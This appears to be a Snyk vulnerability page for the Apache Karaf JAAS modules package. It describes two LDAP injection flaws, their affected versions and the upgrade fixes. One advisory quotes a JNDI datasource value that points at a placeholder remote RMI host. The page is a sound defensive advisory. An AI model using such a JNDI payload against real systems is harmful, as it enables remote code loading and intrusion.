org.apache.karaf.jaas:org.apache.karaf.jaas.modules@3.0.7 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the org.apache.karaf.jaas:org.apache.karaf.jaas.modules package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
LDAP Injection

org.apache.karaf.jaas:org.apache.karaf.jaas.modules is a bundle that provides JAAS modules which can be used in Karaf (LDAP, JDBC, etc).

Affected versions of this package are vulnerable to LDAP Injection when the doCreateDatasource function uses InitialContext.lookup(jndiName) without filtering, which allows a user to use options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. Exploiting this vulnerability is possible by an attacker controlling the target LDAP server, when the JNDI LDAP data source URI is configured.

How to fix LDAP Injection?

Upgrade org.apache.karaf.jaas:org.apache.karaf.jaas.modules to version 4.3.8, 4.4.2 or higher.

[,4.3.8) [4.4.0,4.4.2)
  • M
LDAP injection

org.apache.karaf.jaas:org.apache.karaf.jaas.modules is a bundle that provides JAAS modules which can be used in Karaf (LDAP, JDBC, etc).

Affected versions of this package are vulnerable to LDAP injection. It uses the LDAPLoginModule to authenticate users to a directory via LDAP. However, it is not encoding usernames properly and hence is vulnerable to LDAP injection attacks.

While it appears that it not possible to exploit this vulnerability to allow an attacker to gain remote access, it allows an attacker to insert special characters into the search query step. Therefore, it can potentially be exploited as part of a Denial Of Service attack.

How to fix LDAP injection?

Upgrade org.apache.karaf.jaas:org.apache.karaf.jaas.modules to version 4.0.8 or higher.

[,4.0.8)